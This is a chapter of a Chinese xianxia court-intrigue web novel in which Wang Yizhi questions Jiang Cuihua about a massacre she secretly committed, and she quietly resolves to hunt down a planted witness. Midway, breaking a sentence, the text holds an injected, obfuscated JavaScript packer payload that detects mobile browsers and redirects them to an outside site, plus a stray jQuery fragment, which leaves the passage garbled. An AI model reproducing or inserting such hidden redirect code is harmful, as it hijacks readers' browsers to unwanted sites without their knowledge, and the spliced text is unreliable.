王逸之回到偏厅时,晨光已彻底驱散了庭院的薄雾,将厅内照得透亮,江翠花的侧脸一半在明,一半在暗,整个人透着一股说不出的清冷意味。
她依旧坐在原处,姿势都未曾大变,神色自若,看着王逸之走近也只是从容的点了下头。
王逸之心里那股奇怪的感觉再度浮现……
他挥退了侍立在远处的侍女,厅内彻底只剩下他们二人。
王逸之在她对面坐下,没有迂回,直接开口,声音压低了少许,带着一丝不易察觉的疲惫和凝重:“秦朔走了。”
江翠花抬眸看他,眼神清凌凌的,没有疑问,也没有惊慌,只是安静地等着下文。
“他手上所谓的证据,环环相扣,人证、动机、还有那玄之又玄的‘气息’指向,都冲着你来。”
王逸之语速平稳,将秦朔的指控和自己的反驳简要复述了一遍,末了,加重语气,“最重要的是,他威胁要将此事上报神都执法总堂。一旦总堂介入,便是按照法家律令行事。届时……即便是我王家,也不能再像今日这般轻易搪塞过去。”
他身体微微前倾,目光落在江翠花脸上,不再是之前在外人面前的维护姿态,而是带着探究与严肃:“江翠花,这里没有外人。秦朔的话,有几分真,几分假?玄蛭道重宝失窃那夜,你到底在不在城南?烂泥塘灭门那晚,你又是否在场?那所谓的‘气息’,又是怎么回事?”
他没有问“是不是你做的”,而是问了更具体的时间和行踪。
这细微的差别,显露出他内心并非全无怀疑,也意味着他需要更确切的信息来谋划下一步。
“我需要知道实情,”王逸之的声音沉静而坚定,“才能决定,接下来该如何应对执法堂总堂。是硬抗到底,还是……另寻他法。”
厅内安静下来,只有窗外风吹过竹叶的沙沙声。所有的压力似乎都汇聚到了江翠花身上,等待她的回答。
*****
江翠花垂着眼,指尖在微凉的瓷杯上停顿了一瞬。那极短的沉默里,仿佛有万千思绪翻涌,最终却被她强行压入一片深不见底的寒潭之下。
她再抬眼时,眸中已是一片近乎淡漠的平静,清晰地映出王逸之凝重探究的神情。
“玄蛭道灭门的事,与我无关。”她重复了一遍,声音不高,却异常肯定,斩钉截铁,不留丝毫转圜余地。
随即,她话锋微转,语气里渗入一丝冰冷的锐利:“但秦朔,是冲着我来的。或者说,是冲着我此刻站在王家府内这件事来的。”
她微微偏头,目光似乎穿透了厅堂的墙壁,望向流芳阁乃至更远处神都执法堂的方向:“他的证据,太巧了。巧得像早就备好的戏码,只等我出现在听风阁,等那个恰好逃出来的漏网之鱼恰好看到我......”
“重宝失窃,灭门惨案,妖力邪术……每一桩都足以震动神都。”江翠花的声音低沉下去,带着一种洞悉阴谋的寒意,“如今这些泼天大事,却都能绕着一个微不足道的我打转。你不觉得……这本身就很奇怪吗?”
她直视王逸之,目光清冽如刀:“他们真正想动的,或许不是我江翠花。而是借我这把刀,来试试你的分量,或者……逼你在某些事上表态、让步。”
“护着我,便是公然对抗执法堂的规矩。”她一字一顿,点出最残酷的核心,“不护着我,你的颜面扫地,连门下客卿都保不住,日后在神都,话语权难免跌落。”
“所以,”她最后总结道,语气恢复了之前的平淡,却更显沉重,“秦朔,或者说整件事背后的人,要的不是真相。他们要的,是你无论怎么选,都会陷入的困境。”
“逸之公子,你现在要想的,或许不该只是我是否清白。”她轻轻将茶杯推远了些,“而是他们为何要在这个时候,用这种方式,来动王家。”
*****
王逸之眸中最后一丝疑虑散去,取而代之的是一种冰冷的了然,甚至带着几分厌烦的讥诮。他修长的手指无意识地在紫檀木桌面上敲击了两下,发出沉闷的笃笃声。
“玄蛭道...…”他低声咀嚼着这三个字,语气里满是轻蔑,“不过是我那四弟早年安插在城南,用来处理些见不得光脏活的一条野狗。偷鸡摸狗尚可,何时也配拥有什么值得人觊觎、甚至招致灭门的重宝了?”
王逸之嗤笑一声,抬眼看向江翠花,眼神锐利如冰锥:“如今这野狗没了用处,反而成了别人手里一把能反咬主人的钝刀。灭门是假,清理痕迹、顺便泼脏水才是真。这盆污水泼得真是又准又狠——不直接冲我来,反倒绕了个圈子,精准地扣在了你头上。”
王逸之缓缓站起身,走到窗边,望着庭院中精心修剪的花木,背影透着一种被冒犯了的冷硬:“因为我收留了你。动你,便是打我的脸,试探我的底线,更甚者……是想看看父亲对此事的反应。”
他深吸一口气,强压下翻涌的怒意,声音重新变得冷静而决断:“无论背后是谁,这笔账,我记下了。但眼下,墨家的压力却是实打实的,案子发生在他们的地盘上,总归还是要给他们一个交代。”
王逸之走回江翠花面前,目光沉静:“你既清白,那便最好。接下来,无论执法总堂谁来,问什么,你只需咬定不知情,那夜未曾离开幽篁里。而且你记得要强调,你大选前两日才引气入体,如今也不过凝气二期,绝不可能是秦朔口中屠杀了玄蛭道满门的神秘妖修。其余的事……”
王逸之嘴角勾起一抹冷冽的弧度:“便交给我。他们想用规矩压人,我便让他们看看,琅琊王氏的规矩,也不是那么好借的刀。正好,我也趁此机会,瞧瞧到底是哪只藏在暗处的老鼠,急着跳出来咬人了。”
*****
江翠花面上依旧平静无波,甚至对着王逸之微微颔首,表示听从他的安排。
然而,在他转身吩咐心腹去应对门外修士时,她眼底深处掠过一丝极淡的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455078|180908||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、冰冷的疑虑。
王逸之信了她的话,将此事定性为家族内部的倾轧阴谋,这很好,暂时解了她的燃眉之急。
但……
她垂眸,看着自己指节分明、却蕴藏着可怕力量的手。
那夜在城南烂泥塘,她一击之下,绝不可能有除了秦朔之外的第二个活口!若非秦朔体质特殊,他也活不下来!
那是妖皇百樾的本源妖力,再由她江雪寒来杀。他们二人是人妖两族的顶尖高手,哪里是一个小小玄蛭道的杂鱼能逃开的?
那这个突然冒出来的“漏网之鱼”……
他是如何“逃”出来的?
他凭什么能“遥遥”从流芳阁认出听风阁上的她?
那距离可不近,夜色深沉,他又为何如此笃定地指认她与“灭门”有关?
那晚她虽下了杀手,却并未显露任何与江翠花相关的特征。
除非……
江翠花的指尖微微蜷缩了一下。
除非这个“漏网之鱼”,根本就不是那晚烂泥塘的幸存者。
而是有人早就备下的一枚棋子,早就知道了她的身份,甚至……可能亲眼见过她另一副模样。
如果真是这样,那布局者对她“底细”的了解,就远超出她的预估。这不再是简单的栽赃陷害,而是……精准的捕猎。
这个念头让她心底泛起一丝极细微的寒意,比面对秦朔的指控和王逸之的怀疑时更加警惕。
秦朔,或者他背后的人,准备的“证据”,恐怕比明面上的这些,还要深得多。
他们泼来的污水里,或许……掺着几分她无法对外人言的真相。
王家的倾轧或许是真,但冲着她的这场阴谋,恐怕……蕴藏着更深的风浪。
江翠花抬起眼,望向王逸之忙碌部署的背影,目光深沉。他此刻所有的谋划,都建立在“这是针对王家的阴谋”之上。
可若这阴谋的核心,从一开始就是她江翠花本身呢?
王家的庇护,届时还会如此坚固吗?
江翠花心底那口悄悄松掉的气,又缓缓提了起来,比之前更加沉重。
看来,不能全然指望王逸之了。她必须在自己被彻底钉死之前,先找出那个“漏网之鱼”的真相,或者……找出那个真正知道她秘密的人。
一丝极淡的、近乎虚无的杀意,在她眼底最深处一闪而逝。
真是……闲得太久了。
久到她自己都快忘了,如今握着茶杯的这双手,当年挽着长剑杀过了尸山血海才杀出了一个摇光君的位置。
她原本只想借这一方屋檐暂避风雨,懒得理会这些蝇营狗苟。可若有人非要把算计打到她头上……
那就不能怪她,把这潭水,搅得更浑了。
她抬眼,望向窗外明媚的晨光,目光却幽深得仿佛能吞噬所有光线。
漏网之鱼是吗?
她倒要看看这是何方神圣?